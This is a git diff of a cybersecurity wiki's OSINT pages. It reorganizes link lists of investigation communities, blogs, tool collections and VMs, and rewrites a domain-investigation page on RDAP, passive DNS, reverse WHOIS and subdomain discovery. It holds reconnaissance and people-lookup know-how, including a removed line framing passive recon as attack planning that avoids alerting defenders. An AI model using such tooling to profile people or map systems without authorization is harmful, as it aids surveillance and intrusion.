- -OSINT Tool and Resource Collections - -These are misc tools and collections out there. Many overlap, but there are fantastic things in each. - -* [Awesome Collection: OSINT](https://github.com/jivoi/awesome-osint) -* [https://start.me/p/DPYPMz/the-ultimate-osint-collection](https://start.me/p/DPYPMz/the-ultimate-osint-collection) -* [https://www.aware-online.com/en/osint-tools/](https://www.aware-online.com/en/osint-tools/) -* [OSINT Framework](https://osintframework.com/) +## OSINT Communities and Resources + +* [OSINTCurious](https://osintcurio.us/) - Community, videos, and resource lists. + * [OSINTCurious Resource List](https://docs.google.com/document/d/14li22wAG2Wh2Y0UhgBjbqEvZJCDsNZY8vpUAJ_jJ5X8/edit) +* [OSINT Techniques](https://www.osinttechniques.com/) - Tool lists, videos, and OSINT blog. +* [OSINTion](https://www.theosintion.com/) - Joe Grey's OSINT resources, courses, and consulting site. +* [OSINT Dojo](https://www.osintdojo.com/) - Learning road map and OSINT challenges. +* [Bellingcat OSINT How-Tos](https://www.bellingcat.com/category/resources/how-tos/) + * [Bellingcat Tool Collection](https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ/edit#gid=930747607) +* [Aware Online](https://www.aware-online.com/en/) - OSINT and SOCMINT training and tools. +* [Exposing the Invisible](https://exposingtheinvisible.org/) - Investigative methods and verification guidance. + +## OSINT Blogs and Media + +* [Benjamin Strick](https://benjaminstrick.com/blog/) +* [BushidoToken](https://blog.bushidotoken.net/) +* [Cyb Detective](https://threadreaderapp.com/user/cyb_detective) +* [Dutch OSINT Guy](https://dutchosintguy.com/events-and-blogs/) +* [Intelligence with Steve](https://www.intelligencewithsteve.com/blog) + * [A 5-minute guide to creating a covert account for internet investigations](https://www.intelligencewithsteve.com/post/a-5-minute-guide-to-creating-a-covert-account-for-internet-investigations-osint) +* [IntelTechniques Blog](https://inteltechniques.com/blog/) +* [Key Findings](https://keyfindings.blog/) +* [Lorand Bodo](https://www.lorandbodo.com/) +* [Offensive OSINT](https://www.offensiveosint.io/) +* [OSINT Combine Blog](https://www.osintcombine.com/blog) +* [OSINT Editor](https://www.osinteditor.com/) +* [OSINT Me](https://www.osintme.com/) +* [The OSINT Journal](http://www.theosintjournal.org/) +* [Bellingcat](https://www.bellingcat.com/) +* [CQCore](https://www.cqcore.uk/blog-posts/) +* [Sector035](https://sector035.nl/) + +YouTube and webcast resources: + +* [0x4rkØ OSINT Videos](https://www.youtube.com/c/0x4rk%C3%98/videos) +* [OSINTCurious Videos](https://www.youtube.com/channel/UCjzceWf-OT3ImIKztzGkipA/videos) +* [OSINTCurious 10 Minute Tips](https://www.youtube.com/playlist?list=PL423I_gHbWUUOs09899rex4t2l5py9YIk) +* [OSINTCurious Webcasts](https://osintcurio.us/osintvideosandpodcasts/) +* [Irongeek OSINT Videos](https://www.youtube.com/user/irongeek/search?query=OSINT) +* [Authentic8](https://www.youtube.com/user/Authentic8TV) +* [Toddington Drop In and Learn](https://www.toddington.com/drop-in-and-learn-webcasts/) +* [Ben Strick OSINT at Home](https://www.youtube.com/playlist?list=PLrFPX1Vfqk3ehZKSFeb9pVIHqxqrNW8Sy) +* [OSINT Dojo](https://www.youtube.com/osintdojo) +* [Trace Labs YouTube](https://www.youtube.com/channel/UCezKbcbnYtrwRXfGzgQMI3w) + +## Forums and Chat + +* [OSINT Matrix Room](https://app.element.io/#/room/#osint-chat:matrix.org) +* [OSINT Team](https://osint.team/home) +* [Websleuths](https://www.websleuths.com/forums/) +* [r/OSINT](https://www.reddit.com/r/OSINT/) +* [r/RBI](https://www.reddit.com/r/RBI/) +* [Bellingcat Discord](https://discord.gg/nTaNPmz) +* [OSINT-FR Discord](https://discord.osintfr.com) +* [Project Owl Discord](https://discord.gg/projectowl) +* [OSINT Curious Discord](https://discord.gg/eaz5AqHDfK) +* [OSINTion Discord](https://discord.gg/p78TTGa) +* [Trace Labs Slack](https://tracelabs.slack.com) + +## Volunteer OSINT + +These projects use OSINT skills for public-interest investigations. Review each group's mission, legal boundaries, and evidence-handling expectations before joining. + +* [Trace Labs](https://www.tracelabs.org/) +* [Innocent Lives Foundation](https://www.innocentlivesfoundation.org/) +* [Badass Army](https://badassarmy.org/) +* [Citizen Evidence Lab](https://citizenevidence.org/) +* [CrisisMappers](https://crisismapping.ning.com/) +* [FBI ECAP](https://www.fbi.gov/wanted/ecap) +* [InformNapalm](https://informnapalm.org/en/) +* [Locate International](https://locate.international/) +* [National Center for Missing and Exploited Children](https://www.missingkids.org/) +* [National Child Protection Task Force](https://www.ncptf.org/) +* [Our Rescue](https://ourrescue.org/) +* [Europol Stop Child Abuse](https://www.europol.europa.eu/stopchildabuse) +* [Stop The Traffik](https://www.stopthetraffik.org/) + +## OSINT Tool and Resource Collections + +* [Awesome OSINT](https://github.com/jivoi/awesome-osint) +* [OSINT Framework](https://osintframework.com/) +* [Ultimate OSINT Collection](https://start.me/p/DPYPMz/the-ultimate-osint-collection) +* [Aware Online OSINT Tools](https://www.aware-online.com/en/osint-tools/) * [OpenOSINT Team Tools](https://github.com/IVMachiavelli/OSINT_Team_Links) * [Sector035 OSINT Links](https://sector035.nl/links) -* [Technisette OSINT Links](https://www.technisette.com/p/tools) -* [Trouble Fake - start.me](https://start.me/p/QRQb0O/trouble-fake) +* [Technisette OSINT Tools](https://www.technisette.com/p/tools) +* [Trouble Fake start.me](https://start.me/p/QRQb0O/trouble-fake) * [5nacks OSINT Bookmarks](https://github.com/5nacks/OSINTBookmarks) * [OSINT Combine Bookmarks](https://www.osintcombine.com/osint-bookmarks) -* [Andy Black and Associates OSINT Toolkit](https://www.andyblackassociates.co.uk/resources-andy-black-associates/osint-toolkit/) -* [Palliscope OSINT Bookmarks](https://www.paliscope.com/2020/11/04/200-of-our-best-osint-investigation-tools-free-download/) -* [OSINT Stuff's Pile of OSINT links](https://cipher387.github.io/osint_stuff_tool_collection/) -* [Terrorism & Radicalisation Research Dashboard - start.me](https://start.me/p/OmExgb/terrorism-radicalisation-research-dashboard) -* [OSINT\_Encyclopedia](https://github.com/optiv/OSINT_Encyclopedia) -* [https://start.me/p/rxeRqr/aml-toolbox](https://start.me/p/rxeRqr/aml-toolbox) -* [https://www.aware-online.com/en/osint-tools/](https://www.aware-online.com/en/osint-tools/) -* [https://start.me/p/rxRbpo/ti?locale=en](https://start.me/p/rxRbpo/ti?locale=en) -* [https://start.me/p/W1AXYo/toolkit](https://start.me/p/W1AXYo/toolkit) -* [https://start.me/p/ZME8nR/osint](https://start.me/p/ZME8nR/osint) -* [https://www.osinttechniques.com/osint-tools.html](https://www.osinttechniques.com/osint-tools.html) -* [https://start.me/p/4K0DXg/social-media](https://start.me/p/4K0DXg/social-media) -* [https://thecyberpost.com/open-source-intelligence-osint-tools/](https://thecyberpost.com/open-source-intelligence-osint-tools/) -* [https://start.me/p/ZGAzN7/verification-toolset](https://start.me/p/ZGAzN7/verification-toolset) -* [https://map.malfrats.industries/](https://map.malfrats.industries/) -* [https://github.com/cipher387/API-s-for-OSINT](https://github.com/cipher387/API-s-for-OSINT) -* [https://github.com/cipher387/osint\_stuff\_tool\_collection](https://github.com/cipher387/osint_stuff_tool_collection) - -
- -
- -OSINT Virtual Machines +* [Andy Black OSINT Toolkit](https://www.andyblackassociates.co.uk/resources-andy-black-associates/osint-toolkit/) +* [Paliscope OSINT Tools](https://www.paliscope.com/2020/11/04/200-of-our-best-osint-investigation-tools-free-download/) +* [Cipher387 OSINT Stuff](https://cipher387.github.io/osint_stuff_tool_collection/) +* [OSINT Encyclopedia](https://github.com/optiv/OSINT_Encyclopedia) +* [OSINT APIs](https://github.com/cipher387/API-s-for-OSINT) -* [https://www.tracelabs.org/initiatives/osint-vm](https://www.tracelabs.org/initiatives/osint-vm) - specialized OSINT VM specifically to bring together the most effective OSINT tools and customized scripts +## OSINT Virtual Machines and Frameworks -- [https://tsurugi-linux.org/](https://tsurugi-linux.org/) - 64 bit Linux version to perform digital forensics analysis and OSINT research. - * [https://tsurugi-linux.org/documentation\_tsurugi\_linux\_tools\_listing\_2021.php](https://tsurugi-linux.org/documentation_tsurugi_linux_tools_listing_2021.php) +* [Trace Labs OSINT VM](https://www.tracelabs.org/initiatives/osint-vm) - OSINT virtual machine for investigations. +* [Tsurugi Linux](https://tsurugi-linux.org/) - DFIR-focused Linux distribution that also includes OSINT tools. + * [Tsurugi Tools Listing](https://tsurugi-linux.org/documentation_tsurugi_linux_tools_listing_2021.php) +* [iHunt](https://nitinpandey.in/ihunt/) - OSINT framework grouped by investigation purpose. +* [osrframework](https://www.kali.org/tools/osrframework/) - OSINT libraries and tools for username, DNS, leak, and deep-web research. +* [Mr.Holmes](https://github.com/Lucksi/Mr.Holmes) - OSINT toolkit for domains, phone numbers, and social accounts. -
- -
- -Frameworks - -* [https://nitinpandey.in/ihunt/#](https://nitinpandey.in/ihunt/) - Detailed OSINT framework with dozens of tools grouped by purpose. -* [osrframework](https://www.kali.org/tools/osrframework/) - This package contains a set of libraries developed by i3visio to perform Open Source Intelligence tasks. They include references to a bunch of different applications related to username checking, DNS lookups, information leaks research, deep web search, regular expressions extraction and many others. -* [Scrummage](https://github.com/matamorphosis/Scrummage) — Ultimate OSINT and Threat Hunting Framework -* [Mr.Holmes](https://github.com/Lucksi/Mr.Holmes) — osint toolkit for gathering information about domains, phone numbers and social media accounts - -
+Recon-ng, SpiderFoot, Sn1per, and similar broad recon frameworks are maintained with Red Offensive recon tooling. {% content-ref url="../../red-offensive/scanning-active-recon/recon-frameworks.md" %} [recon-frameworks.md](../../red-offensive/scanning-active-recon/recon-frameworks.md) {% endcontent-ref %} -### Tools by Category +Scrummage is better treated as a threat-hunting/OSINT framework and is cross-referenced from Threat Hunting. + +{% content-ref url="../../blue-defense/threat-hunting.md" %} +[threat-hunting.md](../../blue-defense/threat-hunting.md) +{% endcontent-ref %} + +## Tools by Category {% content-ref url="search-engines/" %} [search-engines](search-engines/) diff --git a/cyber-intelligence/osint/cyber-search.md b/cyber-intelligence/osint/cyber-search.md index 0703aef..6e0aadd 100644 --- a/cyber-intelligence/osint/cyber-search.md +++ b/cyber-intelligence/osint/cyber-search.md @@ -9,8 +9,7 @@ Shodan is often called the "Search Engine for the Internet of Everything" or "Ha **Key Resources:** * [Shodan CLI Documentation](https://cli.shodan.io/) - Command-line interface for Shodan queries and automation * [Shodan Search Filters](https://beta.shodan.io/search/filters) - Complete list of available search filters and operators -* [TryHackMe Shodan Room](https://tryhackme.com/room/shodan) - Interactive training module for learning Shodan -* _Operator Handbook: Shodan CLI - pg. 274_ - Command reference guide +* Shodan training has been moved to the Training section.
diff --git a/cyber-intelligence/osint/dark-web-search.md b/cyber-intelligence/osint/dark-web-search.md index 4221587..a971f8b 100644 --- a/cyber-intelligence/osint/dark-web-search.md +++ b/cyber-intelligence/osint/dark-web-search.md @@ -74,7 +74,7 @@ A peer-to-peer hypermedia protocol designed to preserve and grow humanity's know * **Nekhbet I2P Links** - Very outdated directory that hasn't been maintained. Historical reference only. * **I2P Search (i2psearch.com)** - This service's reliability is questionable. Use Ahmia I2P instead for verified I2P searching. * **Onion Search Engine (onionsearchengine.com)** - Frequently offline and unreliable. Use Ahmia or Dark Search instead. -* **OSINT Party RSS Feed (osint.party/api/rss/fresh)** - Service status uncertain and may be discontinued. +* **OSINT Party RSS Feed (osint.party/api/rss/fresh)** - Service status can vary. Verify before relying on it and treat returned onion links as untrusted. * **DarkTracer** - Service availability has become inconsistent. * **SOCRadar DarkMirror** - Access to this tool has become limited/restricted. * **Flare (flare.io)** - Service has undergone changes; verify current availability and offerings. diff --git a/cyber-intelligence/osint/domain.md b/cyber-intelligence/osint/domain.md index 30f76fc..40f4955 100644 --- a/cyber-intelligence/osint/domain.md +++ b/cyber-intelligence/osint/domain.md @@ -1,354 +1,229 @@ # Domain -## Domains +Use this page for passive domain investigation: registration data, RDAP/WHOIS, DNS records, passive DNS, certificate transparency, archives, email security records, typosquatting, redirects, and related infrastructure pivots. Active subdomain brute forcing, takeover testing, nuclei scanning, and exploit-driven recon belong in Red Offensive. -A **domain name** is a [string](https://en.wikipedia.org/wiki/String\_\(computer\_science\)) that identifies a realm of administrative autonomy, authority or control within the [Internet](https://en.wikipedia.org/wiki/Internet). Domain names are used in various networking contexts and for application-specific naming and addressing purposes. In general, a domain name identifies a [network domain](https://en.wikipedia.org/wiki/Network\_domain) or an [Internet Protocol](https://en.wikipedia.org/wiki/Internet\_Protocol) (IP) resource, such as a personal computer used to access the Internet, or a server computer. Domain names are often used to identify services provided through the Internet, such as [websites](https://en.wikipedia.org/wiki/Website) and [email](https://en.wikipedia.org/wiki/Email) services +## WHOIS vs. RDAP -Domains, more than almost any other target, have one of the largest assortments of associated data points. The most important that we will look for out of this section is the Registration data, the hosting data, site information, archived data, and analytics. +WHOIS is the older registration lookup protocol. It is useful, but responses are inconsistent across registrars and hard to parse reliably. -## **WHOIS vs. RDAP** +RDAP (Registration Data Access Protocol) is the modern successor. The core RFC 7480 series was published in 2015, and ICANN's gTLD RDAP requirements have continued to expand since then. RDAP provides structured JSON responses, better internationalization support, authentication-aware access, RESTful APIs, and more consistent privacy handling. -WHOIS has been the traditional protocol for gathering registration data for IP addresses and domains. However, WHOIS lacks a clearly defined structure to organize registration data points and maintain them consistently across different registrars. +* [RDAP Lookup](https://client.rdap.org) +* [ICANN RDAP](https://www.icann.org/rdap) -**RDAP (Registration Data Access Protocol)** is the modern successor to WHOIS. Standardized in 2019, RDAP provides several key advantages: +## Domain.html -* Structured, machine-readable JSON responses (vs. unstructured text) -* Internationalization support for non-ASCII characters -* Differentiated access based on authentication -* RESTful API design for easier integration -* Better privacy controls and data accuracy +Domain.html is a multi-lookup helper for pivoting through domain investigation sources. -RDAP lookups are rapidly replacing WHOIS as the preferred method for registration data queries. - -**Resources:** -* RDAP lookup tool - [https://client.rdap.org](https://client.rdap.org) -* General information on RDAP - [https://www.icann.org/rdap](https://www.icann.org/rdap) - -## Domain Analysis Tools - -
- -Domain.html - -Domain.html is a comprehensive tool that allows you to research multiple data points associated with a domain during an investigation. - -* **Registration Data** - Checks the domain for WHOIS-based registration data against multiple sources to obtain the most current information. -* **Hosting Data** - Reveals which provider is physically hosting the domain. Look for indicators showing whether the target domain is hosted by a third-party hosting provider or self-hosted by your target organization. -* **Exposed Data** - Identifies information that may be publicly exposed (note: other specialized sources may provide better results). -* **Archive Data** - Searches for older cached or saved versions of the website that may yield valuable information through Google Cache, Archive.is, and the Wayback Machine. -* **Analytics Data** - Provides various searches ranging from general site details and analytics to similar sites on the web and backlink analysis from other sites. -* **Threat Data** - See the Blue - Threat Data section for details. -* **Shortened URL Metadata** - Extracts metadata from shortened URLs. - -
+* **Registration Data** - WHOIS/RDAP-style ownership and registrar details. +* **Hosting Data** - Hosting provider and related infrastructure. +* **Archive Data** - Wayback Machine, Archive.today, and other historical snapshots. +* **Analytics Data** - Similar sites, backlinks, and relationship pivots. +* **Threat Data** - Use the Threat Data page for reputation and enrichment. +* **Shortened URL Metadata** - Shortener preview and redirect investigation. {% file src="../../.gitbook/assets/Domain.html" %} -
- -Domain Toolboxes +## Domain Toolboxes -These tools are comprehensive collections of utilities focused on domain investigation. While some can be used for research on other network artifacts like IP addresses and email records, they excel at DNS records and domain-related metadata analysis. +* [ViewDNS](https://viewdns.info/) - DNS, reverse IP, IP history, and related lookup utilities. +* [DNSDumpster](https://dnsdumpster.com/) - Passive DNS reconnaissance and visualization. +* [MXToolbox](https://mxtoolbox.com/) - MX, DNS, DMARC, and blacklist diagnostics. +* [DNSLytics](https://dnslytics.com/) - Domain/IP/provider relationships and historical data. +* [HostSpider](https://github.com/h3x0crypt/HostSpider) - Domain information gathering CLI. -* [ViewDNS](https://viewdns.info/) - Extensive toolbox with various utilities for enumerating information about a domain, including DNS lookups, IP location, and reverse lookup tools. -* [DNSDumpster](https://dnsdumpster.com/) - Free domain research tool that discovers hosts related to a domain through DNS reconnaissance and visualization. -* [MXToolbox](https://mxtoolbox.com/) - Comprehensive tool for checking MX (mail exchange) records and diagnosing email delivery issues for a given domain. -* [DNSLytics](https://dnslytics.com/) - Comprehensive domain intelligence platform for discovering information about domain names, IP addresses, and providers. Shows relationships between entities and historical data, useful for digital investigations, fraud prevention, and brand protection. -* [HostSpider](https://github.com/h3x0crypt/HostSpider) - Command-line tool that gathers extensive information about a domain including DNS records, subdomains, WHOIS data, Cloudflare IP detection, and more. +## Passive DNS and Historical Records -
+Passive DNS systems collect observed DNS resolution history. Use them to find past hosting, related subdomains, and infrastructure relationships without directly touching a target. -
+* [SecurityTrails](https://securitytrails.com/) - Passive DNS, WHOIS history, and subdomains. +* [Farsight DNSDB](https://www.farsightsecurity.com/solutions/dnsdb/) - Passive DNS database. +* [Microsoft Defender Threat Intelligence](https://ti.defender.microsoft.com/) - Formerly RiskIQ/PassiveTotal; passive DNS, WHOIS, certificates, trackers, and threat intelligence. +* [Passive DNS Mnemonic](https://passivedns.mnemonic.no/) - Historical DNS data. +* [Cisco Umbrella Investigate](https://umbrella.cisco.com/) - DNS security and passive DNS context. +* [AlienVault OTX](https://otx.alienvault.com/) - Indicator relationships and passive DNS pivots. -Passive DNS and Historical Records +More indicator-focused passive DNS sources are maintained on Threat Data. -Passive DNS (pDNS) systems collect DNS resolution data from recursive DNS servers worldwide, providing historical DNS records that can reveal infrastructure changes, associated domains, and past hosting information. +{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} -* [SecurityTrails](https://securitytrails.com/) - Comprehensive passive DNS database with historical DNS records, WHOIS history, and subdomain discovery. -* [Farsight DNSDB](https://www.farsightsecurity.com/solutions/dnsdb/) - World's largest passive DNS database for threat intelligence and investigation. -* [PassiveTotal / Microsoft Defender TI](https://community.riskiq.com/) - Threat intelligence platform (now part of Microsoft Defender Threat Intelligence) with passive DNS, WHOIS, SSL certificates, and trackers. -* [VirusTotal](https://www.virustotal.com/) - Besides malware scanning, provides passive DNS data, subdomains, and related indicators. -* [Passive DNS Mnemonic](https://passivedns.mnemonic.no/) - Norwegian passive DNS service providing historical DNS data. -* [Cisco Umbrella Investigate](https://umbrella.cisco.com/) - DNS security and threat intelligence platform with passive DNS capabilities. -* [AlienVault OTX](https://otx.alienvault.com/) - Open Threat Exchange providing passive DNS and threat intelligence data. +## Reverse WHOIS and Reverse IP -
- -
- -Reverse WHOIS and IP Lookups - -Reverse WHOIS searches allow you to find all domains registered by the same organization, email address, or registrant name. Reverse IP lookups reveal all domains hosted on the same IP address or server. - -* [ViewDNS Reverse IP](https://viewdns.info/reverseip/) - Find other domains hosted on the same IP address. +* [ViewDNS Reverse IP](https://viewdns.info/reverseip/) - Domains hosted on the same IP. * [WhoisXMLAPI Reverse WHOIS](https://www.whoisxmlapi.com/reverse-whois-search) - Search domains by registrant name, email, or organization. -* [Reverse WHOIS by DomainTools](https://reversewhois.domaintools.com/) - Premium reverse WHOIS search service. -* [Hosting Checker](https://hostingchecker.com/) - Identify web hosting provider and find other sites on the same server. -* [YouGetSignal Reverse IP](https://www.yougetsignal.com/tools/web-sites-on-web-server/) - Simple tool to find domains sharing an IP address. -* [Bing IP Search](https://www.bing.com/) - Use `ip:x.x.x.x` search operator to find domains on an IP. - -
- -
- -Subdomain Discovery - -Numerous highly effective tools exist for subdomain enumeration and brute-forcing, but active scanning methods can be quite noisy and may alert defenders. During the passive reconnaissance phase of a penetration test, leveraging subdomains already recorded by other sources allows you to plan your attack strategy without tipping off the target. - -* [Chaos](https://chaos.projectdiscovery.io/) - ProjectDiscovery's actively maintained DNS reconnaissance dataset with subdomain data. -* [Pentest-Tools Subdomain Finder](https://pentest-tools.com/information-gathering/find-subdomains-of-domain) - Online subdomain discovery tool for information gathering. -* [censys-subdomain-finder](https://github.com/christophetd/censys-subdomain-finder) - Tool to enumerate subdomains using Certificate Transparency logs stored by [Censys](https://censys.io). -* [ctfr](https://github.com/UnaPibaGeek/ctfr) - Leverages Certificate Transparency logs to discover subdomains for HTTPS-enabled websites. -* [Sublist3r](https://github.com/aboul3la/Sublist3r) - Python tool designed to enumerate subdomains using OSINT techniques. Queries multiple search engines and services (Note: some data sources like ThreatCrowd are no longer active). - * [TryHackMe Sublist3r Room](https://tryhackme.com/room/rpsublist3r) - Hands-on practice with Sublist3r -* [puredns](https://github.com/d3mondev/puredns) - Fast domain resolver and subdomain brute-forcing tool that accurately filters out wildcard subdomains and DNS-poisoned entries. -* [Amass](https://github.com/owasp-amass/amass) - OWASP Amass is a comprehensive OSINT reconnaissance and attack surface mapping tool that performs subdomain enumeration through scraping, recursive brute-forcing, crawling, and more. -* [Subfinder](https://github.com/projectdiscovery/subfinder) - Fast passive subdomain discovery tool by ProjectDiscovery. -* [Assetfinder](https://github.com/tomnomnom/assetfinder) - Find domains and subdomains related to a given domain. - -
- -
- -Domain Reputation and Threat Intelligence - -Domain reputation services help identify malicious, suspicious, or compromised domains, which is critical for threat hunting and security investigations. - -* [VirusTotal](https://www.virustotal.com/) - Analyze domains for malware, phishing, and malicious activity across 70+ security vendors. -* [URLhaus](https://urlhaus.abuse.ch/) - Database of malicious URLs used for malware distribution. -* [PhishTank](https://www.phishtank.com/) - Community-driven anti-phishing site with verified phishing URLs. -* [Google Safe Browsing](https://transparencyreport.google.com/safe-browsing/search) - Check if a domain is flagged for phishing or malware. -* [Talos Intelligence](https://talosintelligence.com/) - Cisco's threat intelligence service with domain reputation data. -* [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) - Threat intelligence platform with domain and IP reputation data. -* [AlienVault OTX](https://otx.alienvault.com/) - Open threat intelligence community with domain indicators. -* [AbuseIPDB](https://www.abuseipdb.com/) - Database for reporting and checking abusive IPs and domains. -* [Pulsedive](https://pulsedive.com/) - Threat intelligence platform with domain risk scoring. - -
- -
- -Email Security Records (SPF, DMARC, DKIM) - -Email authentication records help verify legitimate email sources and can reveal authorized sending infrastructure for a domain. - -* [MXToolbox DMARC Lookup](https://mxtoolbox.com/dmarc.aspx) - Check DMARC records for email authentication policy. -* [MXToolbox SPF Lookup](https://mxtoolbox.com/spf.aspx) - Verify SPF (Sender Policy Framework) records. -* [DKIM Validator](https://dkimvalidator.com/) - Test DKIM (DomainKeys Identified Mail) configuration. -* [DMARCian](https://dmarcian.com/dmarc-inspector/) - DMARC record inspector and validator. -* [EasyDMARC](https://easydmarc.com/tools/dmarc-lookup) - DMARC, SPF, and DKIM lookup and analysis tool. -* [Mail-Tester](https://www.mail-tester.com/) - Comprehensive email testing including SPF, DKIM, and DMARC validation. - -
- -
- -Typosquatting and Domain Permutations - -Typosquatting detection tools generate domain variations and check for registered lookalike domains used for phishing or brand abuse. - -* [dnstwist](https://github.com/elceef/dnstwist) - Domain name permutation engine for detecting typosquatting, phishing, and corporate espionage. -* [URLCrazy](https://github.com/urbanadventurer/urlcrazy) - Generate and test domain typos and variations. - -
- -
- -Favicon Hash and Technology Fingerprinting - -Favicon hashes and technology fingerprinting can identify related infrastructure by matching unique identifiers across multiple domains. - -* [Shodan Favicon Hash Search](https://www.shodan.io/) - Use `http.favicon.hash:` to find servers with matching favicons. -* [FavFreak](https://github.com/devanshbatham/FavFreak) - Tool to fetch favicon hashes for Shodan searches. -* [Wappalyzer](https://www.wappalyzer.com/) - Identify technologies used on websites including CMS, frameworks, and analytics. -* [BuiltWith](https://builtwith.com/) - Website technology profiler showing tech stack and hosting details. -* [WhatRuns](https://www.whatruns.com/) - Browser extension to identify technologies running on a website. -* [Netcraft Site Report](https://sitereport.netcraft.com/) - Detailed site technology and hosting information. - -
- -
- -Domain Certificates - -Domain Certificates are an interesting and useful item to research when mapping out a target domain. Beyond the various attacks that can be performed by exploiting these certificates, looking up the domain certificates can lead to discovery of hosts, sub-domains, and related targets that were previously undiscovered. - -* [Crt.sh](https://crt.sh) - Enter an Identity (Domain Name, Organization Name, etc), a Certificate Fingerprint (SHA-1 or SHA-256) or a crt.sh ID to return detailed domain and certificate information. -* [CTSearch](https://ui.ctsearch.entrust.com/ui/ctsearchui) - Certificate Transparency Search Tool -* [CertSpotter](https://sslmate.com/certspotter/) - Monitors your domains for expiring, unauthorized, and invalid SSL certificates -* [SynapsInt](https://synapsint.com/) - The unified OSINT research tool -* [Censys - Certificates](https://search.censys.io/certificates) - Certificates Search -* [PassiveTotal / Microsoft Defender TI](https://community.riskiq.com/) - Security intelligence platform (now part of Microsoft Defender Threat Intelligence) with certificate and domain analysis -* [Google Transparency Report](https://transparencyreport.google.com/https/certificates) - A tool used to look up all of a domain’s certificates that are present in [active public Certificate Transparency logs](https://www.certificate-transparency.org/known-logs) -* [https://sslmate.com/labs/ct\_policy\_analyzer/](https://sslmate.com/labs/ct\_policy\_analyzer/) - Certificate Transparency Policy Analyzer - -
- -
- -Archive and Historical Data - -Historical snapshots of websites can reveal sensitive information that has since been removed, track changes over time, or discover old vulnerabilities. - -* [Wayback Machine](https://web.archive.org/) - Internet Archive's massive collection of historical website snapshots dating back to 1996. -* [Archive.today (Archive.is)](https://archive.ph/) - Time capsule for web pages with on-demand archiving capabilities. -* [CachedView](https://cachedview.com/) - Check Google Cache, Wayback Machine, and Archive.is from one interface. -* [Waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all URLs from the Wayback Machine for a domain. -* [waymore](https://github.com/xnl-h4ck3r/waymore) - Find even more URLs from the Wayback Machine with advanced filtering. -* [Google Cache](http://webcache.googleusercontent.com/search?q=cache:example.com) - Access Google's cached version of web pages (Note: Google is phasing out cache links). - -
- -
- -Website Change Tracking - -Monitoring websites for changes can be valuable during ongoing investigations or penetration tests. Changes to content, structure, or functionality may reveal new attack surfaces, security misconfigurations, or intelligence about the target organization's activities. - -* [Follow That Page](https://followthatpage.com/) - Change detection and notification service that sends email alerts when monitored web pages are modified. -* [VisualPing](https://visualping.io/) - Advanced monitoring tool that tracks multiple types of changes on web pages and provides alerts based on specific conditions you define. - -
- -
- -URL Shortening and Redirections - -Shortened URLs and redirections can obscure malicious destinations and are commonly used in phishing campaigns and malware distribution. These tools help you safely investigate shortened URLs and redirect chains without clicking through to potentially malicious sites. - -* [GrayHatWarfare URL Shorteners](https://shorteners.grayhatwarfare.com) - Search engine for URLs exposed via URL shortening services. -* [urlhunter](https://github.com/utkusen/urlhunter) - Reconnaissance tool for discovering URLs exposed through shortener services. -* [Unshorten.It](https://unshorten.it/) - Retrieve information about a shortened link without visiting the destination. -* [Redirect Detective](http://redirectdetective.com/) - Follow and analyze URL redirection chains to reveal the final destination. -* [Where Goes?](https://wheregoes.com) - Tool for tracing and enumerating URL redirections. -* [Lookyloo](https://lookyloo.circl.lu) - Web forensics tool for capturing and analyzing redirect chains and web page behavior. - -**Preview shortened URLs without redirecting:** -* **bit.ly** - Add `+` at the end of the URL -* **cutt.ly** - Add `@` at the end of the URL -* **tiny.cc** - Add `=` at the end of the URL -* **tinyurl.com** - Add `preview.` to the beginning of the URL - -
- -
- -Similar Website Search - -Identifying similar or related websites can help expand the scope of an investigation, discover additional assets owned by a target organization, or identify infrastructure patterns across multiple domains. +* [DomainTools Reverse WHOIS](https://reversewhois.domaintools.com/) - Commercial reverse WHOIS. +* [Hosting Checker](https://hostingchecker.com/) - Hosting provider and shared-hosting lookup. +* [YouGetSignal Reverse IP](https://www.yougetsignal.com/tools/web-sites-on-web-server/) - Domains sharing an IP. +* [Bing IP Search](https://www.bing.com/) - Use `ip:x.x.x.x` to find indexed domains on an IP. -* [SimilarSites](https://www.similarsites.com/) - Discover websites similar to a given URL based on content and purpose. -* [SitesLike](https://siteslike.com/) - Find websites similar to a specific URL or matching a keyword query. -* [SimilarWeb](https://www.similarweb.com/) - Comprehensive tool for finding similar and competitor websites, with detailed analytics and comparison features. Search by website URL. +## Passive Subdomain Discovery -
+These tools primarily use public datasets, certificate transparency, search engines, or other passive sources. They are useful for OSINT and scoping, but review each tool's options because some can also perform active queries. -
+* [Chaos](https://chaos.projectdiscovery.io/) - ProjectDiscovery subdomain dataset. +* [Pentest-Tools Subdomain Finder](https://pentest-tools.com/information-gathering/find-subdomains-of-domain) - Online subdomain discovery. +* [censys-subdomain-finder](https://github.com/christophetd/censys-subdomain-finder) - Enumerates subdomains from Censys certificate data. +* [ctfr](https://github.com/UnaPibaGeek/ctfr) - Certificate Transparency subdomain discovery. +* [Sublist3r](https://github.com/aboul3la/Sublist3r) - OSINT subdomain enumeration. Some older sources it references, such as ThreatCrowd, are no longer active. +* [Subfinder](https://github.com/projectdiscovery/subfinder) - Fast passive subdomain discovery by ProjectDiscovery. +* [Assetfinder](https://github.com/tomnomnom/assetfinder) - Finds domains and subdomains related to a target. -Browser Proxy/Simulator +Active DNS reconnaissance and brute forcing tools such as Amass active modes, puredns, dnsenum, fierce, dnsrecon, MassDNS, and dnsx are preserved in Red Offensive. -These tools allow you to view websites without directly interacting with them, which is useful for safely investigating potentially malicious sites or avoiding detection by the target. +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -* [WannaBrowser](https://www.wannabrowser.net/) - View the HTML source code of any website from the perspective of any User-Agent string. Useful for detecting simple cloaking techniques based on User-Agent identification. -* [Browserling](https://www.browserling.com/) - Browser testing platform that can be used to safely view and interact with websites through a sandboxed environment. -* [URL2PNG](https://www.url2png.com/) - Capture visual snapshots of websites without visiting them directly in your browser. +## Domain Reputation and Threat Intelligence -
+Domain reputation lookups are maintained on Threat Data to avoid repeating the same VirusTotal, URLhaus, PhishTank, Talos, OTX, Pulsedive, and Google Safe Browsing resources across multiple pages. -
